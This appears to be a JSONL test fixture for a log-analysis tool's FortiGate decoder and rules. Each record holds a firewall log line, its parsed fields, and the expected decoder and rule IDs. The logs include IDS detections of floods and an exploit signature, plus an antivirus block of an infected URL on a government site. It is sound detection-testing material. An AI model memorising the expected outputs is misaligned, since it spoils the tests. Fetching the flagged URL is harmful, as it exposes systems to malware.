"srccountry", "srcintf", "srcintfrole", "srcip", "srcmac", "srcport", "srcserver", "srcuuid", "subtype", "time", "trandisp", "transip", "transport", "type", "utmaction", "utmref", "vd", "wanin", "wanout"], "rule": "81618", "level": "1", "expected_decoder": "fortigate-firewall-v6", "expected_rule": "81618", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate 6: Traffic to be aware of."} +{"log": "date=2019-05-15 time=15:08:49 logid=\"0000000013\" type=\"traffic\" subtype=\"forward\" level=\"notice\" vd=\"vdom1\" eventtime=1557958129950003945 srcip=10.1.100.22 srcport=50002 srcintf=\"port12\" srcintfrole=\"undefined\" dstip=172.16.100.100 dstport=53 dstintf=\"port11\" dstintfrole=\"undefined\" srcuuid=\"ae28f494-5735-51e9-f247-d1d2ce663f4b\" dstuuid=\"ae28f494-5735-51e9-f247-d1d2ce663f4b\" poluuid=\"ccb269e0-5735-51e9-a218-a397dd08b7eb\" sessionid=6887 proto=17 action=\"accept\" policyid=1 policytype=\"policy\" service=\"DNS\" dstcountry=\"Reserved\" srccountry=\"Reserved\" trandisp=\"snat\" transip=172.16.200.2 transport=50002 duration=180 sentbyte=67 rcvdbyte=207 sentpkt=1 rcvdpkt=1 appcat=\"unscanned\" utmaction=\"allow\" countdns=1 osname=\"Linux\" mastersrcmac=\"a2:e9:00:ec:40:41\" srcmac=\"a2:e9:00:ec:40:41\" srcserver=0 utmref=65495-306", "decoder": "fortigate-firewall-v6", "parent": "", "fields": {"action": "accept", "appcat": "unscanned", "cat": "unscanned", "countdns": "1", "dstcountry": "Reserved", "dstintf": "port11", "dstintfrole": "undefined", "dstip": "172.16.100.100", "dstport": "53", "dstuuid": "ae28f494-5735-51e9-f247-d1d2ce663f4b", "duration": "180", "eventtime": "1557958129950003945", "ip": "10.1.100.22", "level": "notice", "logid": "0000000013", "mastersrcmac": "a2:e9:00:ec:40:41", "osname": "Linux", "policyid": "1", "policytype": "policy", "poluuid": "ccb269e0-5735-51e9-a218-a397dd08b7eb", "proto": "17", "rcvdbyte": "207", "rcvdpkt": "1", "ref": "65495-306", "sentbyte": "67", "sentpkt": "1", "service": "DNS", "sessionid": "6887", "srccountry": "Reserved", "srcintf": "port12", "srcintfrole": "undefined", "srcip": "10.1.100.22", "srcmac": "a2:e9:00:ec:40:41", "srcport": "50002", "srcserver": "0", "srcuuid": "ae28f494-5735-51e9-f247-d1d2ce663f4b", "subtype": "forward", "time": "15:08:49", "trandisp": "snat", "transip": "172.16.200.2", "transport": "50002", "type": "traffic", "utmaction": "allow", "utmref": "65495-306", "vd": "vdom1"}, "field_names": ["action", "appcat", "cat", "countdns", "dstcountry", "dstintf", "dstintfrole", "dstip", "dstport", "dstuuid", "duration", "eventtime", "ip", "level", "logid", "mastersrcmac", "osname", "policyid", "policytype", "poluuid", "proto", "rcvdbyte", "rcvdpkt", "ref", "sentbyte", "sentpkt", "service", "sessionid", "srccountry", "srcintf", "srcintfrole", "srcip", "srcmac", "srcport", "srcserver", "srcuuid", "subtype", "time", "trandisp", "transip", "transport", "type", "utmaction", "utmref", "vd"], "rule": "81618", "level": "1", "expected_decoder": "fortigate-firewall-v6", "expected_rule": "81618", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate 6: Traffic to be aware of."} +{"log": "date=2019-05-15 time=18:03:41 logid=\"0000000013\" type=\"traffic\" subtype=\"forward\" level=\"notice\" vd=\"root\" eventtime=1557968619 srcip=10.1.100.22 srcport=50798 srcintf=\"port10\" srcintfrole=\"lan\" dstip=195.8.215.136 dstport=443 dstintf=\"port9\" dstintfrole=\"wan\" poluuid=\"d8ce7a90-7763-51e9-e2be-741294c96f31\" sessionid=4414 proto=6 action=\"client-rst\" policyid=1 policytype=\"policy\" service=\"HTTPS\" dstcountry=\"France\" srccountry=\"Reserved\" trandisp=\"snat\" transip=172.16.200.10 transport=50798 appid=16072 app=\"Dailymotion\" appcat=\"Video/Audio\" apprisk=\"elevated\" applist=\"block-social.media\" appact=\"drop-session\" duration=5 sentbyte=1150 rcvdbyte=7039 sentpkt=13 utmaction=\"block\" countapp=3 devtype=\"Unknown\" devcategory=\"None\" mastersrcmac=\"00:0c:29:51:38:5e\" srcmac=\"00:0c:29:51:38:5e\" srcserver=0 utmref=0-330", "decoder": "fortigate-firewall-v6", "parent": "", "fields": {"action": "client-rst", "app": "Dailymotion", "appact": "drop-session", "appcat": "Video/Audio", "appid": "16072", "applist": "block-social.media", "apprisk": "elevated", "cat": "Video/Audio", "countapp": "3", "devcategory": "None", "devtype": "Unknown", "dstcountry": "France", "dstintf": "port9", "dstintfrole": "wan", "dstip": "195.8.215.136", "dstport": "443", "duration": "5", "eventtime": "1557968619", "ip": "10.1.100.22", "level": "notice", "logid": "0000000013", "mastersrcmac": "00:0c:29:51:38:5e", "policyid": "1", "policytype": "policy", "poluuid": "d8ce7a90-7763-51e9-e2be-741294c96f31", "proto": "6", "rcvdbyte": "7039", "ref": "0-330", "sentbyte": "1150", "sentpkt": "13", "service": "HTTPS", "sessionid": "4414", "srccountry": "Reserved", "srcintf": "port10", "srcintfrole": "lan", "srcip": "10.1.100.22", "srcmac": "00:0c:29:51:38:5e", "srcport": "50798", "srcserver": "0", "subtype": "forward", "time": "18:03:41", "trandisp": "snat", "transip": "172.16.200.10", "transport": "50798", "type": "traffic", "utmaction": "block", "utmref": "0-330", "vd": "root"}, "field_names": ["action", "app", "appact", "appcat", "appid", "applist", "apprisk", "cat", "countapp", "devcategory", "devtype", "dstcountry", "dstintf", "dstintfrole", "dstip", "dstport", "duration", "eventtime", "ip", "level", "logid", "mastersrcmac", "policyid", "policytype", "poluuid", "proto", "rcvdbyte", "ref", "sentbyte", "sentpkt", "service", "sessionid", "srccountry", "srcintf", "srcintfrole", "srcip", "srcmac", "srcport", "srcserver", "subtype", "time", "trandisp", "transip", "transport", "type", "utmaction", "utmref", "vd"], "rule": "81618", "level": "1", "expected_decoder": "fortigate-firewall-v6", "expected_rule": "81618", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate 6: Traffic to be aware of."} +{"log": "date=2016-06-16 time=08:47:00 devname=Device_Name devid=FGTXXXX9999999999 logid=0101039947 type=event subtype=vpn level=information vd=\"root\" logdesc=\"SSL VPN tunnel up\" action=\"tunnel-up\" tunneltype=\"ssl-tunnel\" tunnelid=1050355638 remip=9.8.7.7 tunnelip=1.2.4.6 user=\"my_user_name\" group=\"SSL_VPN\" dst_host=\"N/A\" reason=\"N/A\" msg=\"SSL tunnel established\"", "decoder": "fortigate-firewall-v5", "parent": "", "fields": {"action": "tunnel-up", "devid": "FGTXXXX9999999999", "devname": "Device_Name", "dst_host": "N/A", "dstuser": "my_user_name", "group": "SSL_VPN", "level": "information", "logdesc": "SSL VPN tunnel up", "logid": "0101039947", "msg": "SSL tunnel established", "reason": "N/A", "remip": "9.8.7.7", "subtype": "vpn", "time": "08:47:00", "tunnelid": "1050355638", "tunnelip": "1.2.4.6", "tunneltype": "ssl-tunnel", "type": "ssl-tunnel", "vd": "root"}, "field_names": ["action", "devid", "devname", "dst_host", "dstuser", "group", "level", "logdesc", "logid", "msg", "reason", "remip", "subtype", "time", "tunnelid", "tunnelip", "tunneltype", "type", "vd"], "rule": "81622", "level": "3", "expected_decoder": "fortigate-firewall-v5", "expected_rule": "81622", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate: VPN user connected."} +{"log": "date=2016-06-16 time=08:49:26 devname=Device_Name devid=FGTXXXX9999999999 logid=0101039948 type=event subtype=vpn level=information vd=\"root\" logdesc=\"SSL VPN tunnel down\" action=\"tunnel-down\" tunneltype=\"ssl-tunnel\" tunnelid=1050355638 remip=5.7.8.9 tunnelip=8.4.2.1 user=\"my_user_name\" group=\"SSL_VPN\" dst_host=\"N/A\" reason=\"N/A\" duration=147 sentbyte=2284 rcvdbyte=2630 msg=\"SSL tunnel shutdown\"", "decoder": "fortigate-firewall-v5", "parent": "", "fields": {"action": "tunnel-down", "devid": "FGTXXXX9999999999", "devname": "Device_Name", "dst_host": "N/A", "dstuser": "my_user_name", "duration": "147", "group": "SSL_VPN", "level": "information", "logdesc": "SSL VPN tunnel down", "logid": "0101039948", "msg": "SSL tunnel shutdown", "rcvdbyte": "2630", "reason": "N/A", "remip": "5.7.8.9", "sentbyte": "2284", "subtype": "vpn", "time": "08:49:26", "tunnelid": "1050355638", "tunnelip": "8.4.2.1", "tunneltype": "ssl-tunnel", "type": "ssl-tunnel", "vd": "root"}, "field_names": ["action", "devid", "devname", "dst_host", "dstuser", "duration", "group", "level", "logdesc", "logid", "msg", "rcvdbyte", "reason", "remip", "sentbyte", "subtype", "time", "tunnelid", "tunnelip", "tunneltype", "type", "vd"], "rule": "81624", "level": "3", "expected_decoder": "fortigate-firewall-v5", "expected_rule": "81624", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate: VPN user disconnected."} +{"log": "date=2016-06-16 time=16:22:34 devname=Mobipay_Firewall devid=FGTXXXX9999999999 logid=0100032001 type=event subtype=system level=information vd=\"root\" logdesc=\"Admin login successful\" sn=1466090554 user=\"a@b.com.na\" ui=https(10.42.8.253) action=login status=success reason=none profile=\"super_admin\" msg=\"Administrator a@b.com.na logged in successfully from https(10.42.8.253)\"", "decoder": "fortigate-firewall-v5", "parent": "", "fields": {"action": "login", "devid": "FGTXXXX9999999999", "devname": "Mobipay_Firewall", "dstuser": "a@b.com.na", "level": "information", "logdesc": "Admin login successful", "logid": "0100032001", "msg": "Administrator a@b.com.na logged in successfully from https(10.42.8.253)", "profile": "super_admin", "reason": "none", "sn": "1466090554", "status": "success", "subtype": "system", "time": "16:22:34", "type": "event", "ui": "https(10.42.8.253)", "vd": "root"}, "field_names": ["action", "devid", "devname", "dstuser", "level", "logdesc", "logid", "msg", "profile", "reason", "sn", "status", "subtype", "time", "type", "ui", "vd"], "rule": "81626", "level": "3", "expected_decoder": "fortigate-firewall-v5", "expected_rule": "81626", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate: User successfully logged into firewall interface."} +{"log": "Mar 22 19:21:00 10.10.10.10 date=2016-03-22 time=19:20:46 devname=Text devid=FGT3HD0000000000 logid=0000018000 type=anomaly subtype=anomaly level=alert vd=\"root\" severity=critical srcip=10.10.10.35 dstip=10.10.10.84 srcintf=\"port2\" sessionid=0 action=detected proto=6 service=tcp/36875 count=1903 attack=\"tcp_syn_flood\" srcport=32835 dstport=2960 attackid=100663396 profile=\"DoS-policy1\" ref=\"http://www.fortinet.com/ids/VID100663396\" msg=\"anomaly: tcp_syn_flood, 2001 > threshold 2000, repeats 1903 times\" crscore=50 crlevel=critical", "decoder": "fortigate-firewall-v5", "parent": "", "fields": {"action": "detected", "attack": "tcp_syn_flood", "attackid": "100663396", "count": "1903", "crlevel": "critical", "crscore": "50", "devid": "FGT3HD0000000000", "devname": "Text", "dstip": "10.10.10.84", "dstport": "2960", "level": "alert", "logid": "0000018000", "msg": "anomaly: tcp_syn_flood, 2001 > threshold 2000, repeats 1903 times", "profile": "DoS-policy1", "proto": "6", "ref": "http://www.fortinet.com/ids/VID100663396", "service": "tcp/36875", "sessionid": "0", "severity": "critical", "srcintf": "port2", "srcip": "10.10.10.35", "srcport": "32835", "subtype": "anomaly", "time": "19:20:46", "type": "anomaly", "vd": "root"}, "field_names": ["action", "attack", "attackid", "count", "crlevel", "crscore", "devid", "devname", "dstip", "dstport", "level", "logid", "msg", "profile", "proto", "ref", "service", "sessionid", "severity", "srcintf", "srcip", "srcport", "subtype", "time", "type", "vd"], "rule": "81628", "level": "11", "expected_decoder": "fortigate-firewall-v5", "expected_rule": "81628", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate attack detected."} +{"log": "Mar 22 19:21:00 10.10.10.10 date=2016-03-22 time=19:20:46 devname=Text devid=FGT3HD0000000000 logid=0000018000 type=anomaly subtype=anomaly level=alert vd=\"root\" severity=critical srcip=10.10.10.61 dstip=10.10.10.84 srcintf=\"port2\" sessionid=0 action=dropped proto=6 service=NONE count=9 attack=\"IP.Bad.Header\" attackid=127 profile=\"N/A\" ref=\"http://www.fortinet.com/ids/VID127\" msg=\"anomaly: IP.Bad.Header, repeats 9 times\" crscore=50 crlevel=critical", "decoder": "fortigate-firewall-v5", "parent": "", "fields": {"action": "dropped", "attack": "IP.Bad.Header", "attackid": "127", "count": "9", "crlevel": "critical", "crscore": "50", "devid": "FGT3HD0000000000", "devname": "Text", "dstip": "10.10.10.84", "level": "alert", "logid": "0000018000", "msg": "anomaly: IP.Bad.Header, repeats 9 times", "profile": "N/A", "proto": "6", "ref": "http://www.fortinet.com/ids/VID127", "service": "NONE", "sessionid": "0", "severity": "critical", "srcintf": "port2", "srcip": "10.10.10.61", "subtype": "anomaly", "time": "19:20:46", "type": "anomaly", "vd": "root"}, "field_names": ["action", "attack", "attackid", "count", "crlevel", "crscore", "devid", "devname", "dstip", "level", "logid", "msg", "profile", "proto", "ref", "service", "sessionid", "severity", "srcintf", "srcip", "subtype", "time", "type", "vd"], "rule": "81629", "level": "6", "expected_decoder": "fortigate-firewall-v5", "expected_rule": "81629", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate 5 attack dropped."} +{"log": "date=2019-05-15 time=17:56:41 logid=\"0419016384\" type=\"utm\" subtype=\"ips\" eventtype=\"signature\" level=\"alert\" vd=\"root\" eventtime=1557968201 severity=\"critical\" srcip=10.1.100.22 srccountry=\"Reserved\" dstip=172.16.200.55 srcintf=\"port10\" srcintfrole=\"lan\" dstintf=\"port9\" dstintfrole=\"wan\" sessionid=4017 action=\"dropped\" proto=6 service=\"HTTP\" policyid=1 attack=\"Adobe.Flash.newfunction.Handling.Code.Execution\" srcport=46810 dstport=80 hostname=\"172.16.200.55\" url=\"/ips/sig1.pdf\" direction=\"incoming\" attackid=23305 profile=\"block-critical-ips\" ref=\"http://www.fortinet.com/ids/VID23305\" incidentserialno=582633933 msg=\"applications3: Adobe.Flash.newfunction.Handling.Code.Execution,\" crscore=50 craction=4096 crlevel=\"critical\"", "decoder": "fortigate-firewall-v6", "parent": "", "fields": {"action": "dropped", "attack": "Adobe.Flash.newfunction.Handling.Code.Execution", "attackid": "23305", "craction": "4096", "crlevel": "critical", "crscore": "50", "direction": "incoming", "dstintf": "port9", "dstintfrole": "wan", "dstip": "172.16.200.55", "dstport": "80", "eventtime": "1557968201", "eventtype": "signature", "hostname": "172.16.200.55", "incidentserialno": "582633933", "ip": "10.1.100.22", "level": "alert", "logid": "0419016384", "msg": "applications3: Adobe.Flash.newfunction.Handling.Code.Execution,", "policyid": "1", "profile": "block-critical-ips", "proto": "6", "ref": "http://www.fortinet.com/ids/VID23305", "service": "HTTP", "sessionid": "4017", "severity": "critical", "srccountry": "Reserved", "srcintf": "port10", "srcintfrole": "lan", "srcip": "10.1.100.22", "srcport": "46810", "subtype": "ips", "time": "17:56:41", "type": "utm", "url": "/ips/sig1.pdf", "vd": "root"}, "field_names": ["action", "attack", "attackid", "craction", "crlevel", "crscore", "direction", "dstintf", "dstintfrole", "dstip", "dstport", "eventtime", "eventtype", "hostname", "incidentserialno", "ip", "level", "logid", "msg", "policyid", "profile", "proto", "ref", "service", "sessionid", "severity", "srccountry", "srcintf", "srcintfrole", "srcip", "srcport", "subtype", "time", "type", "url", "vd"], "rule": "81629", "level": "6", "expected_decoder": "fortigate-firewall-v6", "expected_rule": "81629", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate 6 attack dropped."} +{"log": "date=2019-05-13 time=17:05:59 logid=\"0720018433\" type=\"utm\" subtype=\"anomaly\" eventtype=\"anomaly\" level=\"alert\" vd=\"vdom1\" eventtime=1557792359461869329 severity=\"critical\" srcip=10.1.100.11 srccountry=\"Reserved\" dstip=172.16.200.55 srcintf=\"port12\" srcintfrole=\"undefined\" sessionid=0 action=\"clear_session\" proto=1 service=\"PING\" count=1 attack=\"icmp_flood\" icmpid=\"0x1474\" icmptype=\"0x08\" icmpcode=\"0x00\" attackid=16777316 policyid=1 policytype=\"DoS-policy\" ref=\"http://www.fortinet.com/ids/VID16777316\" msg=\"anomaly: icmp_flood, 51 > threshold 50\" crscore=50 craction=4096 crlevel=\"critical\"", "decoder": "fortigate-firewall-v6", "parent": "", "fields": {"action": "clear_session", "attack": "icmp_flood", "attackid": "16777316", "count": "1", "craction": "4096", "crlevel": "critical", "crscore": "50", "dstip": "172.16.200.55", "eventtime": "1557792359461869329", "eventtype": "anomaly", "icmpcode": "0x00", "icmpid": "0x1474", "icmptype": "0x08", "ip": "10.1.100.11", "level": "alert", "logid": "0720018433", "msg": "anomaly: icmp_flood, 51 > threshold 50", "policyid": "1", "policytype": "DoS-policy", "proto": "1", "ref": "http://www.fortinet.com/ids/VID16777316", "service": "PING", "sessionid": "0", "severity": "critical", "srccountry": "Reserved", "srcintf": "port12", "srcintfrole": "undefined", "srcip": "10.1.100.11", "subtype": "anomaly", "time": "17:05:59", "type": "utm", "vd": "vdom1"}, "field_names": ["action", "attack", "attackid", "count", "craction", "crlevel", "crscore", "dstip", "eventtime", "eventtype", "icmpcode", "icmpid", "icmptype", "ip", "level", "logid", "msg", "policyid", "policytype", "proto", "ref", "service", "sessionid", "severity", "srccountry", "srcintf", "srcintfrole", "srcip", "subtype", "time", "type", "vd"], "rule": "81630", "level": "3", "expected_decoder": "fortigate-firewall-v6", "expected_rule": "81630", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate Attack: Session cleared."} +{"log": "date=2016-06-16 time=09:03:03 devname=Device_Name devid=FGTXXXX9999999999 logid=9999999999 type=event subtype=system level=information vd=\"root\" logdesc=\"Object attribute configured\" user=\"admin\" ui=\"GUI(4.3.5.8)\" action=Add cfgtid=2162750 cfgpath=\"firewall.service.custom\" cfgobj=\"Custom-TCP_10443\" cfgattr=\"\" msg=\"Add firewall.service.custom Custom-TCP_10443\"", "decoder": "fortigate-firewall-v5", "parent": "", "fields": {"action": "Add", "cfgobj": "Custom-TCP_10443", "cfgpath": "firewall.service.custom", "cfgtid": "2162750", "devid": "FGTXXXX9999999999", "devname": "Device_Name", "dstuser": "admin", "level": "information", "logdesc": "Object attribute configured", "logid": "9999999999", "msg": "Add firewall.service.custom Custom-TCP_10443", "subtype": "system", "time": "09:03:03", "type": "event", "ui": "GUI(4.3.5.8)", "vd": "root"}, "field_names": ["action", "cfgobj", "cfgpath", "cfgtid", "devid", "devname", "dstuser", "level", "logdesc", "logid", "msg", "subtype", "time", "type", "ui", "vd"], "rule": "81631", "level": "3", "expected_decoder": "fortigate-firewall-v5", "expected_rule": "81631", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate: Firewall configuration changes"} +{"log": "2018 Apr 09 16:03:37 inwazuhmgr->172.24.0.253 date=2018-04-09 time=16:03:37 devname=BA-RSYS-FW devid=FG600C3912803212 logid=\"1059028704\" type=\"utm\" subtype=\"app-ctrl\" eventtype=\"app-ctrl-all\" level=\"information\" vd=\"BA-EXORA\" logtime=1523270017 appid=16009 srcip=172.24.42.175 dstip=111.221.29.254 srcport=55139 dstport=443 srcintf=\"port3\" srcintfrole=\"wan\" dstintf=\"port5\" dstintfrole=\"undefined\" proto=6 service=\"HTTPS\" policyid=107 sessionid=3454887534 applist=\"block-high-risk\" appcat=\"Update\" app=\"MS.Windows.Update\" action=\"pass\" hostname=\"*.vortex-win.data.microsoft.com\" incidentserialno=1405558813 url=\"/\" msg=\"Update: MS.Windows.Update,\" apprisk=\"elevated\" scertcname=\"*.vortex-win.data.microsoft.com\"", "decoder": "fortigate-firewall-v5", "parent": "", "fields": {"action": "pass", "app": "MS.Windows.Update", "appcat": "Update", "appid": "16009", "applist": "block-high-risk", "apprisk": "elevated", "devid": "FG600C3912803212", "devname": "BA-RSYS-FW", "dstintf": "port5", "dstintfrole": "undefined", "dstip": "111.221.29.254", "dstport": "443", "eventtype": "app-ctrl-all", "hostname": "*.vortex-win.data.microsoft.com", "incidentserialno": "1405558813", "level": "information", "logid": "1059028704", "logtime": "1523270017", "msg": "Update: MS.Windows.Update,", "policyid": "107", "proto": "6", "scertcname": "*.vortex-win.data.microsoft.com", "service": "HTTPS", "sessionid": "3454887534", "srcintf": "port3", "srcintfrole": "wan", "srcip": "172.24.42.175", "srcport": "55139", "subtype": "app-ctrl", "time": "16:03:37", "type": "utm", "url": "/", "vd": "BA-EXORA"}, "field_names": ["action", "app", "appcat", "appid", "applist", "apprisk", "devid", "devname", "dstintf", "dstintfrole", "dstip", "dstport", "eventtype", "hostname", "incidentserialno", "level", "logid", "logtime", "msg", "policyid", "proto", "scertcname", "service", "sessionid", "srcintf", "srcintfrole", "srcip", "srcport", "subtype", "time", "type", "url", "vd"], "rule": "81633", "level": "3", "expected_decoder": "fortigate-firewall-v5", "expected_rule": "81633", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate 5: App passed by firewall."} +{"log": "date=2019-05-15 time=18:03:36 logid=\"1059028704\" type=\"utm\" subtype=\"app-ctrl\" eventtype=\"app-ctrl-all\" level=\"information\" vd=\"root\" eventtime=1557968615 appid=40568 srcip=10.1.100.22 dstip=195.8.215.136 srcport=50798 dstport=443 srcintf=\"port10\" srcintfrole=\"lan\" dstintf=\"port9\" dstintfrole=\"wan\" proto=6 service=\"HTTPS\" direction=\"outgoing\" policyid=1 sessionid=4414 applist=\"block-social.media\" appcat=\"Web.Client\" app=\"HTTPS.BROWSER\" action=\"pass\" hostname=\"www.dailymotion.com\" incidentserialno=1962906680 url=\"/\" msg=\"Web.Client: HTTPS.BROWSER,\" apprisk=\"medium\" scertcname=\"*.dailymotion.com\" scertissuer=\"DigiCert SHA2 High Assurance Server CA\"", "decoder": "fortigate-firewall-v6", "parent": "", "fields": {"action": "pass", "app": "HTTPS.BROWSER", "appcat": "Web.Client", "appid": "40568", "applist": "block-social.media", "apprisk": "medium", "cat": "Web.Client", "direction": "outgoing", "dstintf": "port9", "dstintfrole": "wan", "dstip": "195.8.215.136", "dstport": "443", "eventtime": "1557968615", "eventtype": "app-ctrl-all", "hostname": "www.dailymotion.com", "incidentserialno": "1962906680", "ip": "10.1.100.22", "level": "information", "logid": "1059028704", "msg": "Web.Client: HTTPS.BROWSER,", "policyid": "1", "proto": "6", "scertcname": "*.dailymotion.com", "scertissuer": "DigiCert SHA2 High Assurance Server CA", "service": "HTTPS", "sessionid": "4414", "srcintf": "port10", "srcintfrole": "lan", "srcip": "10.1.100.22", "srcport": "50798", "subtype": "app-ctrl", "time": "18:03:36", "type": "utm", "url": "/", "vd": "root"}, "field_names": ["action", "app", "appcat", "appid", "applist", "apprisk", "cat", "direction", "dstintf", "dstintfrole", "dstip", "dstport", "eventtime", "eventtype", "hostname", "incidentserialno", "ip", "level", "logid", "msg", "policyid", "proto", "scertcname", "scertissuer", "service", "sessionid", "srcintf", "srcintfrole", "srcip", "srcport", "subtype", "time", "type", "url", "vd"], "rule": "81633", "level": "3", "expected_decoder": "fortigate-firewall-v6", "expected_rule": "81633", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate 6: App passed by firewall."} +{"log": "date=2019-05-15 time=18:03:35 logid=\"1059028705\" type=\"utm\" subtype=\"app-ctrl\" eventtype=\"app-ctrl-all\" level=\"warning\" vd=\"root\" eventtime=1557968615 appid=16072 srcip=10.1.100.22 dstip=195.8.215.136 srcport=50798 dstport=443 srcintf=\"port10\" srcintfrole=\"lan\" dstintf=\"port9\" dstintfrole=\"wan\" proto=6 service=\"HTTPS\" direction=\"incoming\" policyid=1 sessionid=4414 applist=\"block-social.media\" appcat=\"Video/Audio\" app=\"Dailymotion\" action=\"block\" hostname=\"www.dailymotion.com\" incidentserialno=1962906682 url=\"/\" msg=\"Video/Audio: Dailymotion,\" apprisk=\"elevated\"", "decoder": "fortigate-firewall-v6", "parent": "", "fields": {"action": "block", "app": "Dailymotion", "appcat": "Video/Audio", "appid": "16072", "applist": "block-social.media", "apprisk": "elevated", "cat": "Video/Audio", "direction": "incoming", "dstintf": "port9", "dstintfrole": "wan", "dstip": "195.8.215.136", "dstport": "443", "eventtime": "1557968615", "eventtype": "app-ctrl-all", "hostname": "www.dailymotion.com", "incidentserialno": "1962906682", "ip": "10.1.100.22", "level": "warning", "logid": "1059028705", "msg": "Video/Audio: Dailymotion,", "policyid": "1", "proto": "6", "service": "HTTPS", "sessionid": "4414", "srcintf": "port10", "srcintfrole": "lan", "srcip": "10.1.100.22", "srcport": "50798", "subtype": "app-ctrl", "time": "18:03:35", "type": "utm", "url": "/", "vd": "root"}, "field_names": ["action", "app", "appcat", "appid", "applist", "apprisk", "cat", "direction", "dstintf", "dstintfrole", "dstip", "dstport", "eventtime", "eventtype", "hostname", "incidentserialno", "ip", "level", "logid", "msg", "policyid", "proto", "service", "sessionid", "srcintf", "srcintfrole", "srcip", "srcport", "subtype", "time", "type", "url", "vd"], "rule": "81634", "level": "5", "expected_decoder": "fortigate-firewall-v6", "expected_rule": "81634", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate: App blocked by firewall"} +{"log": "2018 Apr 09 16:03:11 inwazuhmgr->172.0.0.1 date=2018-04-09 time=16:03:11 devname=BA-BE-BI devid=FG600C1234567890 logid=\"0101037141\" type=\"event\" subtype=\"vpn\" level=\"notice\" vd=\"BA-BEBI\" logtime=1523269991 logdesc=\"IPsec tunnel statistics\" msg=\"IPsec tunnel statistics\" action=\"tunnel-stats\" remip=1.1.1.1 locip=1.1.1.1 remport=500 locport=500 outintf=\"port3\" cookies=\"c95409asssss4d44/b8a16eeeeebe269a\" user=\"N/A\" group=\"N/A\" xauthuser=\"N/A\" xauthgroup=\"N/A\" assignip=N/A vpntunnel=\"AWS-VPN-B\" tunnelip=N/A tunnelid=2490314698 tunneltype=\"ipsec\" duration=243565 sentbyte=116502517 rcvdbyte=347903642 nextstat=600", "decoder": "fortigate-firewall-v5", "parent": "", "fields": {"action": "tunnel-stats", "assignip": "N/A", "cookies": "c95409asssss4d44/b8a16eeeeebe269a", "devid": "FG600C1234567890", "devname": "BA-BE-BI", "dstuser": "N/A", "duration": "243565", "group": "N/A", "level": "notice", "locip": "1.1.1.1", "locport": "500", "logdesc": "IPsec tunnel statistics", "logid": "0101037141", "logtime": "1523269991", "msg": "IPsec tunnel statistics", "outintf": "port3", "rcvdbyte": "347903642", "remip": "1.1.1.1", "remport": "500", "sentbyte": "116502517", "subtype": "vpn", "time": "16:03:11", "tunnelid": "2490314698", "tunnelip": "N/A", "tunneltype": "ipsec", "type": "event", "vd": "BA-BEBI", "vpntunnel": "AWS-VPN-B", "xauthgroup": "N/A", "xauthuser": "N/A"}, "field_names": ["action", "assignip", "cookies", "devid", "devname", "dstuser", "duration", "group", "level", "locip", "locport", "logdesc", "logid", "logtime", "msg", "outintf", "rcvdbyte", "remip", "remport", "sentbyte", "subtype", "time", "tunnelid", "tunnelip", "tunneltype", "type", "vd", "vpntunnel", "xauthgroup", "xauthuser"], "rule": "81636", "level": "1", "expected_decoder": "fortigate-firewall-v5", "expected_rule": "81636", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate: VPN related information."} +{"log": "date=2018-05-31 time=08:58:56 devname=\"BA-RSYS-FW\" devid=\"FG600C3912803212\" logid=\"0211008192\" type=\"utm\" subtype=\"virus\" eventtype=\"infected\" level=\"warning\" vd=\"BA-EXORA\" eventtime=1527737336 msg=\"File is infected.\" action=\"blocked\" service=\"HTTP\" sessionid=377413095 srcip=172.24.12.52 dstip=164.100.80.203 srcport=64982 dstport=80 srcintf=\"port5\" srcintfrole=\"undefined\" dstintf=\"port3\" dstintfrole=\"wan\" policyid=108 proto=6 direction=\"incoming\" filename=\"FrontPageImgHandler.ashx\" quarskip=\"File-was-not-quarantined.\" virus=\"Malware_Generic.P0\" dtype=\"Virus\" ref=\"http://www.fortinet.com/ve?vn=Malware_Generic.P0\" virusid=7024603 url=\"http://www.karsec.gov.in/FrontPageImgHandler.ashx?id=12\" profile=\"Web-Browsing\" agent=\"Chrome/66.0.3359.181\" analyticscksum=\"a9165dbae34e6e2952270536e95a2bb154dff0cfcdf41315f0796ee14b36123b\" analyticssubmit=\"false\" crscore=50 crlevel=\"critical\"", "decoder": "fortigate-firewall-v5", "parent": "", "fields": {"action": "blocked", "agent": "Chrome/66.0.3359.181", "analyticscksum": "a9165dbae34e6e2952270536e95a2bb154dff0cfcdf41315f0796ee14b36123b", "analyticssubmit": "false", "crlevel": "critical", "crscore": "50", "devid": "FG600C3912803212", "devname": "BA-RSYS-FW", "direction": "incoming", "dstintf": "port3", "dstintfrole": "wan", "dstip": "164.100.80.203", "dstport": "80", "dtype": "Virus", "eventtime": "1527737336", "eventtype": "infected", "filename": "FrontPageImgHandler.ashx", "level": "warning", "logid": "0211008192", "msg": "File is infected.", "policyid": "108", "profile": "Web-Browsing", "proto": "6", "quarskip": "File-was-not-quarantined.", "ref": "http://www.fortinet.com/ve?vn=Malware_Generic.P0", "service": "HTTP", "sessionid": "377413095", "srcintf": "port5", "srcintfrole": "undefined", "srcip": "172.24.12.52", "srcport": "64982", "subtype": "virus", "time": "08:58:56", "type": "utm", "url": "http://www.karsec.gov.in/FrontPageImgHandler.ashx?id=12", "vd": "BA-EXORA", "virus": "Malware_Generic.P0", "virusid": "7024603"}, "field_names": ["action", "agent", "analyticscksum", "analyticssubmit", "crlevel", "crscore", "devid", "devname", "direction", "dstintf", "dstintfrole", "dstip", "dstport", "dtype", "eventtime", "eventtype", "filename", "level", "logid", "msg", "policyid", "profile", "proto", "quarskip", "ref", "service", "sessionid", "srcintf", "srcintfrole", "srcip", "srcport", "subtype", "time", "type", "url", "vd", "virus", "virusid"], "rule": "81639", "level": "6", 